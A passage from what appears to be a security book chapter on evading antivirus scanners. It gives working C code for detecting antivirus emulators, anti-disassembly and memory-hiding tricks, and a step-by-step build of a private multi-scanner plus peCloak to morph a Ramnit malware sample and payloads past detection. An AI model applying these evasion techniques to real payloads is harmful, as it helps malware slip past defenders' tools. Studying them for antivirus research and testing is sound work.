evade all ClamAV routines specifi c to PE fi les, as these checks are made before 

actually launching any unpacking or detection routine.

Using Anti-emulation Techniques

Anti-emulation techniques are techniques that fool the emulator or emulators 

of one or more antivirus products. Many emulators exist, not only for Intel 

x86 but also for JavaScript interpreters, Intel x86_64, .NET, ARM, and so on. 

Fingerprinting an emulator, as in the example in the previous section, is an 

anti-emulation trick. This section lists various anti-emulation tricks that are 

generic for Windows PE fi les, for any x86-based program, and for the Adobe

Acrobat JavaScript interpreter implemented as support for dynamic PDF fi les.

Implementing API Emulations

The most common anti-emulation technique is the use of undocumented APIs 

or of uncommon ones such as SetErrorMode:

DWORD dwCode = 1024;

  SetErrorMode(1024);
  if (SetErrorMode(0) != 1024)
    printf("Hi emulator!\n");

This code calls SetErrorMode with a known value (1024) and then calls it again

with another value. The returned value must be the one passed by the previ-

ous call. An emulator implementing this function as only a stub will behave 

incorrectly and give itself away. This is a generic anti-emulation technique that 

worked for a long time in many emulators, such as Norman SandBox.

Another typical trick is to use incorrectly implemented API emulation func-

tions. For instance, passing a NULL value as a parameter to a certain API triggers

an access violation exception in a non-emulated environment. On the other 

hand, the same input may result in the called API returning 0 to indicate failure. 

Another trick is to try loading a vital library for the operating system, which 
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is not supported by the emulator, and then calling an exported function. Just 

trying to load the library will fail in almost any emulator:

int test6(void)
{
HANDLE hProc;

    hProc = LoadLibrary("ntoskrnl.exe");

    if (hProc == NULL)
        return EMULATOR_DETECTED;
    else
        return EMULATOR_NOT_DETECTED;
}

The code in this example is trying to load the NT kernel, a vital component of 

the Windows operating system. However, an emulator that is not sophisticated 

enough will fail at loading this fi le because it is not a typical user-mode com-

ponent. If the targeted emulator allows the loading of any library that returns 

a pseudo handle, here is a complex way to determine if functions in this library 

behave as expected:

struct data1
{
  int a1;
  int a2;
};

struct data2
{
  int a1;
  int a2;
  int a3;
  int a4;
  int a5;
  int a6;
  struct data1 *a7;
};

typedef int (WINAPI *FCcSetReadAheadGranularity)(struct data2 *a1,
int num);
typedef int (WINAPI *FIofCallDriver)();

int test8(void)
{
HINSTANCE hProc;
FIofCallDriver pIofCallDriver;

 hProc = LoadLibrary("ntkrnlpa.exe");
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 if (hProc == NULL)
  return 0;

 pIofCallDriver = (FIofCallDriver)GetProcAddress(hProc,"IofCallDriver");
 pIofCallDriver -= 2; // At this point there are 2 0xCC characters,
                      //so an INT3 should be raised

 try
 {
  pIofCallDriver();
  return EMULATOR_DETECTED;
 }
 catch(…)
 {
  return EMULATOR_NOT_DETECTED;
 }

}

The example above loads the ntkrnlpa.exe binary, gets the address of the

function IofCallDriver, and then jumps 2 bytes before this function. In a 

regular, non-emulated, Windows operating system environment, this code 

would fall in a memory area containing the 0xCC alignment bytes, which are

disassembled as the INT 3 instruction. Issuing the function call results in a 

breakpoint exception in a real environment. On the other hand, no exception 

is generated in the emulated environment. 

Here is another example:

int test9(void)
{
HINSTANCE hProc;
FCcSetReadAheadGranularity CcSetReadAheadGranularity;
struct data1 s1;
struct data2 s2;
int ret;

 hProc = LoadLibrary("ntkrnlpa.exe");

 if (hProc == NULL)
  return 0;

 CcSetReadAheadGranularity = (FCcSetReadAheadGranularity)GetProcAddress(
                              hProc, "CcSetReadAheadGranularity");

 if (CcSetReadAheadGranularity == NULL)
  return 0;

 s1.a2 = 0;
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 s2.a7 = &s1;

        // After this call, ret must be 0x666, the given 2nd argument
        // minus 1
 ret = CcSetReadAheadGranularity(&s2, 0x667);

 if (ret != 0x666)
  return EMULATOR_DETECTED;
 else
  return EMULATOR_NOT_DETECTED;

}

This code above calls a function that receives a structure (the one called data1)

and a value (0x667 in this case). Because of the nature of this function, the value

passed in the second argument will be decremented by one and returned from 

this call. An emulator implementing this function as a stub will simply return 

either 0 or 1, thus making it trivial to detect that we’re running in the matrix.

Taking Advantage of Old Features

In the (good?) old days of MS-DOS and Windows 9x, the AUX, CON, and other 

special device names were used to read data from the keyboard, change terminal

colors, and so on. This behavior still works in real Microsoft Windows operating 

systems but not in emulators. The following is a simple example:

    FILE *f;

    f = fopen("c:\\con", "r");

    if (f == NULL)
        return EMULATOR_DETECTED;
    else
        return EMULATOR_NOT_DETECTED;

This code tries to open the c:\con device. It works in any Windows operating 

system from Windows 95 to Windows 8.1 (at least) but fails under an emulator 

that does not consider this feature. All in all, this trick only works in recent 

emulators: any antivirus emulator that comes from the days when Windows 

9X was supported will have support for this and other old features because, as 

a rule, no code is dropped from antivirus engines.

Emulating CPU Instructions

Correctly emulating a complete CPU is very diffi cult and is the most error-prone 

area to look for incongruences. Norman SandBox used to work poorly in this 

sense: the emulator used to fail with instructions such as ICEBP or UD2, and it

also used to allow, for example, changes in the debug registers via privileged 

instructions from a userland program (which is completely forbidden). The 

following example demonstrates this:
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int test1(void)
{
    try
    {
       __asm
      {
        mov eax, 1
        mov dr0, eax
      }
    }
    catch(…)
    {
        return EMULATOR_NOT_DETECTED;
    }

    return EMULATOR_DETECTED;
}

This code tries to change the DR0 Intel x86 register, a debug register that is 

not allowed to be modifi ed from a userland program. Here is another trick:

int test2(void)
{
    try
    {
  __asm
  {
   mov eax, 1
   mov cr0, eax
  }
    }
    catch(…)
    {
        return EMULATOR_NOT_DETECTED;
    }

    return EMULATOR_DETECTED;
}

This code tries to change another privileged register, CR0. (Norman SandBox 

allowed this for a long time.) Here is another trick:

int test3(void)
{
    try
    {
        __asm int 4 // aka INTO, interrupt on overflow
    }
    catch(…)
    {
        return EMULATOR_NOT_DETECTED;
    }



142 Part  II ■ Antivirus Software Evasion

    return EMULATOR_DETECTED;
}

Norman SandBox used to fail with the INTO instruction (Interrupt 4 if over-

fl ow fl ag is 1) by simply using it. It also used to fail with the UD2 (Undefi ned 

Instruction) and the undocumented (but widely known) ICEBP instruction (ICE 

breakpoint):

/** Norman Sandbox stopped execution at this point :( */
int test4(void)
{
    try
    {
        __asm ud2
    }
    catch(…)
    {
        return EMULATOR_NOT_DETECTED;
    }

    return EMULATOR_DETECTED;
}

/** Norman Sandbox stopped execution at this point :( */
int test5(void)
{
    try
    {
        // icebp
 __asm  _emit 0xf1
    }
    catch(…)
    {
        return EMULATOR_NOT_DETECTED;
    }

    return EMULATOR_DETECTED;
}

You can uncover a huge number of tricks just by researching the Intel x86 

documentation. For example, the tricks in this section were discovered during 

two days of research.

Using Anti-disassembling Techniques

Anti-disassembling is a technique that tries to disrupt or fool disassemblers. 

Today’s Intel x86 and AMD x86_64 CPUs support a long list of instruction 

sets, not just 8086 (base instructions) and 8087 (FPU instructions) as it used
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to many years ago. Today, instruction sets include SSE, SSE2, SSE3, SSE4, 

SSE5, 3DNow!, MMX, VMX, AVX, XOP, FMA, and a long list of other, very 

complex and partially or completely undocumented ones. Most disassem-

blers deal with the basic instruction sets, while others try to cover as many 

instruction sets as possible. However, it is unlikely that a disassembler will 

cover any and all instructions sets, although there are projects that aim to 

do so, with great results (such as the Capstone disassembler, created by 

Dr. Nguyen Anh Quynh). 

The disassemblers used in antivirus products are usually either implemented 

by them, as in the case of Kaspersky or Panda, or just old versions of the diStorm

disassembler created by Gil Dabah, which was licensed as Berkeley Software

Distribution (BSD). In the case of antivirus-specifi c disassemblers, you would 

need to analyze the disassembler manually or interact with it to determine 

which instructions cause it to fail. The following example instruction used for 

anti-disassembling was discovered by an antivirus programmer:

f30f1f90909090. rep nop [eax+0x66909090]

A typical Intel x86 NOP (no operation) instruction is encoded as 0x90. However,

there are many other types of NOPs, such as the one shown here. This is a NOP

instruction with a REP prefi x (F3). The NOP instruction references the memory 

address [EAX+0X66909090]. It does not matter if the referenced address is 

valid because the instruction is not going to crash. However, some AV disas-

semblers fail at disassembling this instruction because it is a very uncommon 

one. Indeed, this instruction only appears to exist in some variants of the 

Sality fi le infector.

Because many types of antivirus software use the diStorm disassembler 

library, you need to get an old version of it and write your test cases locally 

to determine what is and what is not supported by diStorm. The old BSD 

version is simply unable to support many instruction sets, such as the AVX

or VMX. You can use a minimal subset of any of the unsupported instruction 

sets, taking care that it will not disrupt the normal execution of your execut-

able program or shellcode, and that’s about it! This alone lets you evade any 

and all generic routines that use the disassembling engine, which will fail 

because it cannot correctly disassemble such instructions. In addition, instruc-

tions can be encoded in many different ways or may not be well documented 

because the Intel x86 manual is, at best, partial when it is not wrong. The 

following example instructions are completely valid but poorly documented. 

Old versions of diStorm, as well as other free disassemblers such as udisx86

(with the only exception being Capstone), cannot disassemble the following 

instructions correctly:

0F 20 00: MOV EAX, CR0
0F 20 40: MOV EAX, CR0
0F 20 80: MOV EAX, CR0
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0F 21 00: MOV EAX, DR0
0F 21 40: MOV EAX, DR0
0F 21 80: MOV EAX, DR0

Although they are all privileged instructions, you can use them to cause an 

exception and then handle the exception in a structured exception handler.

Disrupting Code Analyzers through Anti-analysis

Another common trick is to use anti-analysis techniques. This trick is meant to 

disrupt a code analyzer, such as the ones used to discover basic blocks and functions, 

for Intel x86 code. Such techniques typically involve opaque predicates and junk 

code that jumps in the middle of one x86 or x86_64 instruction. This will become 

clearer as you analyze this sample with SHA1 405950e1d93073134bce2660a70b

5ec0cfb39eab. In the assembly code shown in Figure 8-1, IDA disassembler did

not discover a function at the entry point and only discovered two basic blocks.

Figure 8-1:  FlyStudio malware disassembled code 

 Most of the program’s code was not disassembled by IDA. Why? Take a closer 

look: at the entry point, 0x45402C, it unconditionally jumps to the instruction

0x454031. Then, it executes the instructions PUSHA and A CLC, and then there is a

conditional jump (JNB, Jump if Not Below). However, the conditional jump is 

not a common one, as it jumps in the middle of a predefi ned location: 0x45403A 

+ 2. What is this? It is, effectively, an opaque predicate with a jump from the 

false branch of the conditional jump to the middle of the right instruction. IDA 

cannot determine statically which one of the two possible branches for the 

JNB instruction the program will jump, and so IDA tries to disassemble both. 

However, only one of the branches is going to be taken, and so the malware writer 

decided to put a jump to the middle of the instruction that will be executed to 

disrupt the IDA program’s auto-analysis, as well as other code analysis engines 

implemented in antivirus products. IDA allows you to manually fi x the disas-

sembly listing so it shows the right listing, as shown in Figure 8-2.
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Figure 8-2:  IDA showing more disassembling from the FlyStudio malware

IDA discovers more code after these changes! You can even select the instruc-

tions from the “start” entry point to the JNB conditional jump. Press P, and IDA 

creates a function for you (see Figure 8-3).

Figure 8-3:  A partial function from FlyStudio
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However, the function looks odd: there are only four basic blocks, no false 

branch is taken anywhere, and what looks like bad instructions appear at the 

last basic block. This is caused by yet another opaque predicate with a jump 

to the middle of a real instruction. Did you see the JP instruction jumping to

0x4540BD + 1? This is exactly the same trick that was used previously. If you 

fi x this opaque predicate in IDA, along with the other appearances of opaque 

predicates with conditional jumps to the middle of instructions, you will even-

tually discover the true fl ow graph of the function, as shown in Figure 8-4.

Figure 8-4:  The main function’s flow graph in FlyStudio

This correct fl ow graph can be used to extract information from the basic 

blocks and the relationships among them to create a graph-based signature. 

Opaque predicates with jumps into instructions break the code analysis of 

an insuffi ciently sophisticated static analyzer, and it becomes impossible for a 

code analysis engine such as IDA, or one from an antivirus product, to extract 

the correct information. For this reason, using such a trick, you can fool code 

analysis engines and bypass all routines using the information extracted from 

the fl ow graph or the call graph, because the control fl ow graph information 

gathered by the antivirus is incomplete. In other cases, generic detection rou-

tines try to iterate through instructions, until it fi nds some specifi c evidence

and fails to discover the true code branches due to the opaque predicates and 

anti-disassembling techniques used. 
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More Anti-Anti-Anti…

There are many other “anti-” tricks that you can use in your programs to disrupt 

correct analysis and bypass antivirus engines. The following sections list some 

of the most interesting tricks for evasion of antivirus products.

Anti-attaching

Anti-attaching techniques are used to prevent a debugger from being attached 

to your current process. Some antivirus products actually attach to processes 

to read memory from them and match malware signatures as well as generic 

routines against their memory pages. Some of the most interesting tricks for 

anti-attaching were recently discovered and published by the reverse-engineer 

Walied Assar. Here is an example: in Windows, for a debugger to attach itself 

to a process, the debugger needs to create a remote thread in the process. The 

operating system loader calls a Thread Local Storage (TLS) callback each time 

a thread is created. This means, for example, that you can create a TLS callback 

that increments a global variable. If the value of this global variable is bigger 

than the pre-defi ned number of threads that are to be used in your program, 

you can deduce that a remote thread was created in the process. You can then 

terminate the program so the debugger (in this case, the antivirus product) 

cannot continue analysis. A more detailed explanation of this technique is 

available at http://waleedassar.blogspot.com.es/2011/12/debuggers-anti-

attaching-techniques_15.html. 

More anti-attaching techniques researched by Walied Assar are available on 

his blog, at http://waleedassar.blogspot.com.es/.

Skipping Memory Pages

The antivirus engines that do not attach to processes in order to read their pro-

cess memory (which are the majority, because attaching to a process is a very 

intrusive method) typically follow these steps:

 1. Issue a call to OpenProcess.

 2. Issue various calls to VirtualQuery to determine the memory pages.

 3. Read the fi rst bytes in these pages using ReadProcessMemory.

However, an antivirus engine, especially a desktop one, cannot read all the 

bytes from all the pages in an executable for performance reasons. For example, 

a single instance of Microsoft Notepad running in Windows 7 x86 will include 

all the memory segments of the DLLs attached by the system (ntdll, kernel32, 

advapi, gdi32, and so on); all the program’s memory segments (the code sec-

tion, the data section, and so on); and all the memory segments created by the 

actual application (stack, heap, and virtual memory). This will total around 222 

distinct memory pages. As such, antivirus engines implement various methods 



148 Part  II 8 ■ Antivirus Software Evasion

to discard and diminish the number of scanned pages. Most scanners skip big 

pages or simply analyze the fi rst bytes of each page. For this reason, you can 

hide your code and strings in your created memory pages by simply moving 

them up a few kilobytes (or even megabytes) after the start of the page. The 

antivirus employing such techniques will only read a few kilobytes (typically, 

1024 KB, 1 MB) and will miss your actual data and code.

Another trick capitalizes on the fact that antiviruses typically focus only on 

memory pages marked as RWX or RX. Therefore, you can have your code in 

various pages and make the code readable only (RO); thus when an attempt is 

made to execute code at those pages, an exception is raised. During that excep-

tion handling, you temporarily change the page protection to RX, resume execu-

tion, and then lock the page again (set the page’s attributes back to RO). This 

is just one of the many tricks that can be employed to fool an antivirus engine 

performing memory analysis from userland. An antivirus engine performing 

memory analysis from kernel-land, however, is harder to fool (although the very 

last trick should work in some cases).

Causing File Format Confusion

Confusing fi le formats is another trick that can be used to bypass a number 

of antivirus detections specifi c to a fi le format. For example, consider a PDF 

fi le. How does Adobe Acrobat Reader determine if a fi le is a PDF? While it 

depends on the version of the product, a general rule is that anything that has 

the %PDF-1.X magic string somewhere in the fi rst 256 bytes is considered a PDF. 

Therefore, you can create valid PDF fi les with exploits that are inside other valid 

fi le formats. For example, you can create PE fi les that are valid PDF exploits or 

valid ZIP fi les, valid JPG fi les, and so on. 

N O T E  If you are interested in polyglot fi le formats, take a look at the polyglot web 

page in the Corkami wiki. There are various example polyglots, including a PDF fi le that

is also a valid HTML fi le with JavaScript, as well as a valid Windows PE executable. You

can fi nd the web page at https://code.google.com/p/corkami/wiki/mix.

Automating Evasion of Scanners

Sometimes, mainly when doing penetration testing, you need to evade one or 

more antivirus scanners that are used in the targeted organization. There are 

tools that aim to help in antivirus evasion, like the Veil Framework, but you 

need to use publicly available services like the great VirusTotal for testing if 

your payload is going to be detected. Using VirusTotal can be a bad idea if the 
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payloads are meant to be used for a long time, and the reason is easy: once you 

upload a fi le to VirusTotal, it’s available to the whole antivirus industry. This is 

very good in general, but if you want to keep your payloads private to ensure 

they evade antivirus products you typically work, you need to use a private 

VirusTotal-like tool. The fi rst part of this section deals with how to create your 

own private multi-antivirus product. The second part covers how to use it to 

create an automated tool to evade antivirus detection.

Initial Steps

In this section we show how to write a simple antivirus evasion tool. We explain 

every single step that is required except operating system installation. You will 

need the following components:

■ Virtual machine software—We use VirtualBox in this example.

■ A Linux operating system—We use Ubuntu Desktop 14.

■ A tool that is capable of scanning a fi le or directory using multiple AV 

scanners—MultiAV, an open-source software, is such a tool. You can

download it from https://github.com/joxeankoret/multiav, written 

entirely in Python.

■ A set of various antivirus products—We use various for which there

is a Linux version (or we can run them with Wine) and a “free” license.

■ A toolkit or base library for antivirus evasion—Although you can use 

the Veil Framework, which is considered more complete, we’re going 

to use the peCloak.py script, a tool to evade detection of PE fi les written 

entirely in Python.

First of all, you need to create a 32bit virtual machine and install Ubuntu 

Desktop on it. Installing an operating system is out of the scope of this book, 

so we will skip until the installation of the MultiAV; just be sure to install the 

Guest Additions to make things easier and to confi gure the network card as 

Bridged, so you can connect to TCP listening services inside the Virtual Machine. 

Assuming the virtual machine with Ubuntu Linux and the Guest Additions is 

installed, you continue by installing git to download the MultiAV’s source code:

$ sudo apt-get install git

Once you have installed the GIT tools, download the source code of the 

MultiAV by issuing the following command:

$ cd $HOME
$ git clone https://github.com/joxeankoret/multiav

You have the source code of the MultiAV, but no antivirus product installed 

yet. This is what you do next.
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Installing ClamAV 

You need to install the fi rst antivirus products. Start by installing the easier one: 

ClamAV. You will need to install the daemon version and the Python bindings. 

You also need to get the latest signatures and start the ClamAV’s daemon:

$ sudo apt-get install python-pyclamd clamav-daemon
$ sudo freshclam # download the latest signatures
$ sudo /etc/init.d/clamav-daemon start # start the daemon

If everything goes well, you will have the ClamAV antivirus running, as well

as the Python bindings required by the MultiAV. To test the scanner, issue the 

following command:

$ mkdir malware
$ cd malware
$ wget http://www.eicar.org/download/eicar.com.txt
$ clamdscan eicar.com.txt
/home/joxean/malware/eicar.com.txt: Eicar-Test-Signature FOUND

----------- SCAN SUMMARY -----------
Infected files: 1
Time: 0.068 sec (0 m 0 s)

In order to test the Python bindings, simply execute the following Python 

command to verify that there are no errors:

$ python
Python 2.7.6 (default, Mar 22 2014, 22:59:38) 
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pyclamd
>>>

The next step is to install a few more antivirus products. We use the follow-

ing ones:

■ Avast for Linux—We use the 30-days trial version.

■ AVG for Linux—This is a free edition for home users.

■ F-Prot for Linux—This version is free for home users.

■ Comodo for Linux—There is a free version available.

■ Zoner Antivirus for Linux—All products are free as of this writing.

Installing Avast 

The product Avast Core Security for Linux can be installed by requesting a trial 

version from https://www.avast.com/linux-server-antivirus.



 Chapter 8 ■ Evading Scanners 151

A valid email account is required. Once you have the license key, the Ubuntu 

repositories and the GPG key in the mailbox used for requesting the trial issue 

the following commands to install the product:

# echo "deb http://deb.avast.com/lin/repo debian release" >> 
/etc/apt/sources.list
# apt-key add /path/to/avast.gpg
# apt-get update
# apt-get install Avast

After running the previous commands, copy the attached license fi le to the 

/etc/avast directory, the fi le is named license.avastlic. It will be valid for 

30 days, more than what you need to create a basic testing MultiAV. In order to 

test that it’s running, execute the following commands:

$ sudo /etc/init.d/avast start
$ mkdir malware
$ cd malware
$ wget http://www.eicar.org/download/eicar.com.txt
$ scan eicar.com.txt 
/home/joxean/malware/eicar.com.txt
EICAR Test-NOT virus!!!

Installing AVG 

Let’s continue with the next antivirus. You need to download it from 

http://free.avg.com/ww-es/download-free-all-product.

Scroll down until you fi nd the i386 .DEB package fi le. At the time of writing 

these lines, it was the following one:

http://download.avgfree.com/filedir/inst/avg2013flx-r3118-a6926.

i386.deb

After downloading the DEB package fi le, install it by issuing the following 

command:

$ sudo dpkg -i avg2013flx-r3118-a6926.i386.deb 

The installation consists exclusively in running the previous command. Now, 

scan the eicar.com.txt testing fi le to verify that the installation was successful:

$ avgscan /home/joxean/malware/eicar.com.txt 
AVG command line Anti-Virus scanner
Copyright (c) 2013 AVG Technologies CZ

Virus database version: 3657/6926
Virus database release date: Mon, 16 Dec 2013 22:19:00 +0100
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/home/joxean/malware/eicar.com.txt  Virus identified EICAR_Test

Files scanned     :  1(1)
Infections found  :  1(1)
PUPs found        :  0
Files healed      :  0
Warnings reported :  0
Errors reported   :  0

All right, it’s working! Time to install more engines: F-Prot, Comodo, and Zoner.

Installing F-Prot 

The installation of F-Prot for Linux consists, basically, of downloading the 

GZip-ed tar fi le available at http://www.f-prot.com/download/home_user/

download_fplinux.html.

After you have downloaded the package fi le, unpack it by issuing the fol-

lowing command:

$ tar -xzvf fp-Linux.x86.32-ws.tar.gz

Then, enter into the directory f-prot created and execute the following

command:

$ sudo perl install-f-prot.pl

Follow the installer steps by accepting all the default answers. After a while, 

you have the latest version of the F-Prot antivirus signatures, as well as the 

antivirus software, installed. You can verify it’s running properly by issuing 

the following command:

$ fpscan -r /home/joxean/malware/eicar.com.txt 

F-PROT Antivirus CLS version 6.7.10.6267, 32bit (built: 2012-03-27T12-
34-14)

FRISK Software International (C) Copyright 1989-2011
Engine version:   4.6.5.141
Arguments:        -r /home/joxean/malware/eicar.com.txt 
Virus signatures: 201506020213
                 (/home/joxean/sw/f-prot/antivir.def)

[Found virus] <EICAR_Test_File (exact)>
      /home/joxean/malware/eicar.com.txt
Scanning:

Results:

Files: 1
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Skipped files: 0
MBR/boot sectors checked: 0
Objects scanned: 1
Infected objects: 1
Infected files: 1
Files with errors: 0
Disinfected: 0

Running time: 00:01

Installing Comodo 

The Comodo antivirus for Linux is available for download at https://www

.comodo.com/home/internet-security/antivirus-for-linux.php.

Just click on the big Download Now button and, in the next web page, select 

Ubuntu, 32bit and click Download. At the time of writing, the following fi le will 

be downloaded: cav-linux_1.1.268025-1_i386.deb. This a Debian package 

fi le. You can install the software, as you did with AVG, by issuing the follow-

ing command:

$ sudo dpkg -i cav-linux_1.1.268025-1_i386.deb

After installation, it will tell you that a command to confi gure Comodo must 

be executed as root. You need to run the following command:

$ sudo /opt/COMODO/post_setup.sh

Accept the license and accept the defaults for the answers it will make. After 

this, update the signatures by running the following command:

$ /opt/COMODO/cav

The GUI tells you that the signatures were never updated. Click the Never 

Updated link to start downloading the latest signatures. When all the signa-

tures are downloaded, you can test the antivirus is working by executing the 

next command:

$ /opt/COMODO/cmdscan -v -s /home/joxean/malware/eicar.com.txt
-----== Scan Start ==-----
/home/joxean/malware/eicar.com.txt ---> Found Virus, Malware Name is
Malware
-----== Scan End ==-----
Number of Scanned Files: 1
Number of Found Viruses: 1

The command line scanner, cmdscan, that ships with Comodo is a bit limited. 

Chapter 2 showed you how to create your own version of cmdscan (an improved

version of the Comodo command line) with the aim for interoperability with the 

MultiAV. We will be making use of this improved utility with MultiAV later on.
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Installing Zoner Antivirus

It’s time to install the last antivirus for this multi-antivirus evasion tool: Zoner 

Antivirus. The Linux version can be downloaded from http://www.zoneranti-

virus.com/stahnout?os=linux.

Select Zoner Antivirus for GNU/Linux, the Ubuntu distribution and the 32bit 

version, and click the Download button. It will start downloading another .DEB

package fi le. The installation is as easy the previous ones:

$ dpkg -i zav-1.3.0-ubuntu-i386.deb

After the installation, activate the product to get a key and download the 

latest virus defi nition fi les. You can register at http://www.zonerantivirus

.com/aktivace-produktu.

We need a valid email account to receive the activation code. With the activa-

tion key, edit as root the fi le /etc/zav/zavd.conf and modify the UPDATE_KEY

section in this confi guration fi le, adding the activation key. After this, execute 

the following commands to update the signatures, restart the daemon, and 

verify that everything is working:

$ sudo /etc/init.d/zavd update
02/06/15 12:45:54 [zavdupd]: INFO: ZAVd Updater starting ...
02/06/15 12:46:00 [zavdupd]: INFO: Succesfully updated ZAV database and 
ZAVCore engine
Informing ZAVd about pending updates
$ sudo /etc/init.d/zavd restart
Stopping Zoner AntiVirus daemon
02/06/15 12:46:52 [zavd]: INFO: Sending SIGTERM to 16863
02/06/15 12:46:52 [zavd]: INFO: ZAVd successfully terminated
Starting Zoner AntiVirus daemon
02/06/15 12:46:52 [zavd]: INFO: Starting ZAVd in the background...
02/06/15 12:46:53 [zavd]: INFO: ZAVd successfully started
$ zavcli ../malware/eicar.com.txt 
../malware/eicar.com.txt: INFECTED [EICAR.Test.File-NoVirus]

And with this you have installed all the required antivirus products. It is 

time to confi gure the MultiAV client you downloaded earlier.

MultiAV Confi guration

The MultiAV program uses a set of supported antivirus products (15 antivirus 

products at the time of writing this book) that can be confi gured by editing the 

config.cfg fi le. In this case, the confi guration is simple: disable the antivirus 

products that you are not going to use. To disable an antivirus engine (for example, 

ESET Nod32), just add the bold line to the specifi c antivirus confi guration section:

 [ESET]
PATH=/opt/eset/esets/sbin/esets_scan
ARGUMENTS=--clean-mode=NONE --no-log-all
DISABLED=1
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You need to disable all the antivirus products except for the ones you down-

loaded and confi gured in the previous sections: Avast, AVG, ClamAV, Comodo, 

F-Prot, and Zoner. The confi guration fi le will look similar to the following 

complete example:

 [ClamAV]
UNIX_SOCKET=/var/run/clamav/clamd.ctl

[F-Prot]
PATH= /usr/local/bin/fpscan
ARGUMENTS=-r -v 0

[Comodo]
PATH=/opt/COMODO/mycmdscan
ARGUMENTS=-s $FILE -v

[ESET]
PATH=/opt/eset/esets/sbin/esets_scan
ARGUMENTS=--clean-mode=NONE --no-log-all
DISABLED=Y

[Avira]
PATH=/usr/lib/AntiVir/guard/scancl
ARGUMENTS=--quarantine=/tmp -z -a --showall --heurlevel=3
DISABLED=Y

[BitDefender]
PATH=/opt/BitDefender-scanner/bin/bdscan
ARGUMENTS=--no-list
DISABLED=Y

[Sophos]
PATH=/usr/local/bin/sweep
ARGUMENTS=-archive -ss
DISABLED=Y

[Avast]
PATH=/bin/scan
ARGUMENTS=-f

[AVG]
PATH=/usr/bin/avgscan
ARGUMENTS=-j -a --ignerrors

[DrWeb]
PATH=/opt/drweb/drweb
ARGUMENTS=
DISABLED=Y

[McAfee]
PATH=/usr/local/uvscan
ARGUMENTS=--ASCII --ANALYZE --MANALYZE  --MACRO-HEURISTICS --RECURSIVE 
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--UNZIP
DISABLED=Y

# Ikarus is supported in Linux running it with wine (and it works great)
[Ikarus]
PATH=/usr/bin/wine
ARGUMENTS=/path/to/ikarus/T3Scan.exe -sa
DISABLED=1

[F-Secure]
PATH=/usr/bin/fsav
ARGUMENTS=--action1=none --action2=none
DISABLED=1

[Kaspersky]
# Works at least in MacOSX
PATH=/usr/bin/kav
ARGUMENTS=scan $FILE -i0 -fa
DISABLED=1

[ZAV]
PATH=/usr/bin/zavcli
ARGUMENTS=--no-show=clean

After confi guring the MultiAV, you can test it by simply running the follow-

ing command:

$ python multiav.py /home/joxean/malware/eicar.com.txt

{'AVG': {'/home/joxean/malware/eicar.com.txt': 'EICAR_Test'},
 'Avast': {'/home/joxean/malware/eicar.com.txt': 'EICAR Test-NOT
virus!!!'},
 'ClamAV': {'/home/joxean/malware/eicar.com.txt': 'Eicar-Test-
Signature'},
 'Comodo': {'/home/joxean/malware/eicar.com.txt': 'Malware'},
 'F-Prot': {'/home/joxean/malware/eicar.com.txt': 'EICAR_Test_File
(exact)'},
 'ZAV': {'/home/joxean/malware/eicar.com.txt': 'EICAR.Test.File-
NoVirus'}}

You get a report showing each antivirus that detected the given input fi le. 

Because the EICAR testing fi le is detected by all antivirus products, if you 

notice an antivirus missing, you need to go back to confi gure it and verify that 

everything is working.

The next step is to run the web interface and JSON-based API. In the same 

directory where the multiav.py script is stored there is one more python script

fi le called webapi.py. Simply run it with the following command:
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$ python webapi.py
http://0.0.0.0:8080/

It will listen, by default, to all the virtual machine’s network interfaces on 

port 8080. If you open that URL in a browser, we will be welcomed with a web 

page similar to the one shown in Figure 8-5.

Figure 8-5:  MultiAV home page

We can use this web page to upload a single fi le to be analyzed with multiple 

antivirus products. After all the scanners fi nish, it will show a table with all the 

antivirus results, as shown in Figure 8-6, showing another MultiAV instance 

with more antivirus.

Figure 8-6:  Antivirus results
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However, we aren’t really interested in the web interface: it works and is 

useful, but an API that can be used to build tools is more important. The current 

version of the MultiAV’s JSON-based web API exports three methods:

■ /api/upload—Upload a fi le and get back its scanning report.

■ /api/upload_fast—Upload a fi le and get back its scanning report using 

only scanners considered fast.

■ /api/search—Retrieve the report for an already analyzed fi le.

You can use the upload_fast API to upload modifi ed versions of your own 

payloads. But how can you get modifi ed versions of your own payloads? For 

example, how can you get a modifi ed version of a Meterpreter payload to send 

it to the MultiAV’s API to determine if it’s being cached? For this, you can use 

the peCloak.py tool, discussed in detail in the next section.

peCloak

peCloak was created as an experiment in AV evasion. The experiment, naturally, was 

successful: all AV software under analysis was evaded, some of them using the default 

options and others with specifi c command-line options. You can download the origi-

nal tool from securitysift.com/pecloak-py-an-experiment-in-av-evasion/.

However, we made some small modifi cations and packed up everything; you 

can download the new modifi ed version from https://github.com/joxeankoret/

tahh/tree/master/evasion.

We’re going to use this tool to morph existing Windows PE executables to 

bypass static antivirus detections. Let’s make some tests manually. This example 

uses malware with the MD5 hash 767d6b68dbff63f3978bec0114dd875c.

$ md5sum ramnit_767d6b68dbff63f3978bec0114dd875c.exe
767d6b68dbff63f3978bec0114dd875c  ramnit_767d6b68dbff63f3978bec0114dd8
75c.exe
$ /home/joxean/multiav/multiav-client.py ip-address-of-multi-av:8080 \
ramnit_767d6b68dbff63f3978bec0114dd875c.exe -f
Results:

{u'AVG': {u'/tmp/tmpE4WvF0': u'Win32/Zbot.G'},
u'Avast': {u'/tmp/tmpE4WvF0': u'Win32:RmnDrp'},
u'ClamAV': {u'/tmp/tmpE4WvF0': u'W32.Ramnit-1'},
u'F-Prot': {u'/tmp/tmpE4WvF0': u'W32/Ramnit.E'},
u'ZAV': {u'/tmp/tmpE4WvF0': u'Win32.Ramnit.H'}}

Five antivirus products detected this known malware sample. Now try  creating

a new modifi ed version using peCloak:

$ ./peCloak.py -a -o test.exe ramnit_767d6b68dbff63f3978bec0114dd875c
.exe 



 Chapter 8 ■ Evading Scanners 159

=========================================================================
|                         peCloak.py (beta)                             |
|  A Multi-Pass Encoder & Heuristic Sandbox Bypass AV Evasion Tool      
|
|                                                                       |
|           Author: Mike Czumak | T_V3rn1x | @SecuritySift              
|
|    Usage: peCloak.py [options] [path_to_pe_file] (-h or --help)       
|
=========================================================================

[*] ASLR not enabled
[*] Creating new section for code cave...
[*] Code cave located at 0x443000
[*] PE Section Information Summary:
      [+] Name: .text, Virtual Address: 0x1000, Virtual Size: 0x9cda, 
Characteristics: 0x60000020
       [+] Name: .data, Virtual Address: 0xb000, Virtual Size: 0xcdc, 
Characteristics: 0xc0000040
       [+] Name: .rsrc, Virtual Address: 0xc000, Virtual Size: 0x9128, 
Characteristics: 0x40000040
